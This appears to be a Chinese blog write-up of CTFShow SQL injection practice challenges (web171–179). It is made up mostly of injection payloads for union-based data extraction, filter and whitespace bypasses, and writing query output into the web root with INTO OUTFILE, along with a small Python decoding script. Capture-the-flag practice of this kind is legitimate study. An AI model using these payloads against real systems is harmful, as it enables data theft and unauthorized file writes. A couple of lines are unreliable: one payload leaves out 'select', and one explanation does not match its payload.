CTFShow sql注入

参考文章:
https://www.jianshu.com/p/2a374b81d5e7
http://t.csdn.cn/zedsJ
https://blog.csdn.net/solitudi/article/details/110144623

web171

payload语句

1' or username='flag'--+

image
题目已经提供了我们select查询语句,我们只需要根据该语句进行拼接即可。
该sql语句由三部分组成,可以发现这里是字符型注入,要注意引号的闭合。
sql语句的第一部分
select username,password from user where username !='flag' and id = '
sql语句的第二部分
$_GET['id']
sql语句的第三部分
'limit 1;

web172

这里只有两个回显位,分别是用户名和密码。

这题的加了个判断,如果返回的数据里username='flag',则查询失败。所以这里对返回的username字段进行了加密。
payload语句:
-1' union select to_base64(username),password from ctfshow_user2 where username='flag'--+

web173

这里的联合查询,反而需要带上1了,不知道为什么。

-1' union select 1,2,3--+

payload语句

-1' union 1,to_base64(username),password from ctfshow_user3 where username='flag'--+

web174

跟着套路走,老规矩先来联合查询一下。

-1' union select 1,2,3--+

image

结果不理想,报错了,再换一个吧

-1' union select 2,3--+

image

这次的返回结果是无数据,至少不是报错了,无数据说明查询成功了但是结果被过滤了,正则表达式过滤flag和数字
image
再换一个

-1' union select null,null--+

image
因为null,所以返回的列表是空空如也。


过滤了数字该怎么办?参考网上哪些大佬们的wp,把数字先进行替换,之后再利用脚本替换回来。
payload:

-1' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(username),'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE'),'6','numF'),'7','numG'),'8','numH'),'9','numI'),'0','numJ'),replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE'),'6','numF'),'7','numG'),'8','numH'),'9','numI'),'0','numJ') from ctfshow_user4 where username='flag' --+

py脚本

import base64

flagstr = "YnumCRmcnumBhvdnumCtlMDhhMDBiNynumAhZmUwLTQxYTItOTAnumENCnumJnumAMnumBMyZGMnumEYWEzOWJnumI"
flag = flagstr.replace('numA', '1').replace('numB', '2').replace('numC', '3').replace('numD', '4').replace(
    'numE', '5').replace('numF', '6').replace('numG', '7').replace('numH', '8').replace('numI', '9').replace('numJ', '0')
print(base64.b64decode(flag))

web175

image
过滤了ascii码表的0-127所代表的字符。
这里的思路是不把flag直接输出的网页,而是保存在服务器的一个目录下面。
payload语句:

' union select 1,group_concat(password) from ctfshow_user5 into outfile '/var/www/html/1.txt'-- -

web176

自web176开始,就开始有过滤了。

大小写过滤

-1' Union seleCT 1,2,(selecT`password`fRom`ctfshow_user`Where`username`='flag')--+

或者 万能密码

1' or 1=1--+

web177

过滤了空格

使用/**/%0a换行,%0d回车 可以绕过空格过滤
%23的含义是#

-1'union/**/select'1','2','3'%23
-1'union/**/select'1',(select`password`from`ctfshow_user`where`username`='flag'),'3'%23

web178

过滤了空格和*,所以不可以使用/**/了。
%0a

-1'union%0aselect'1',(select`password`from`ctfshow_user`where`username`='flag'),'3'%23

web179

过滤了空格和*,%0a,%0d
使用%0c换页符,试了好多,其他的都不行

-1'union%0bselect'1',(select`password`from`ctfshow_user`where`username`='flag'),'3'%23
posted @ 2022-09-21 22:51  请去看诡秘之主  阅读(98)  评论(0编辑  收藏  举报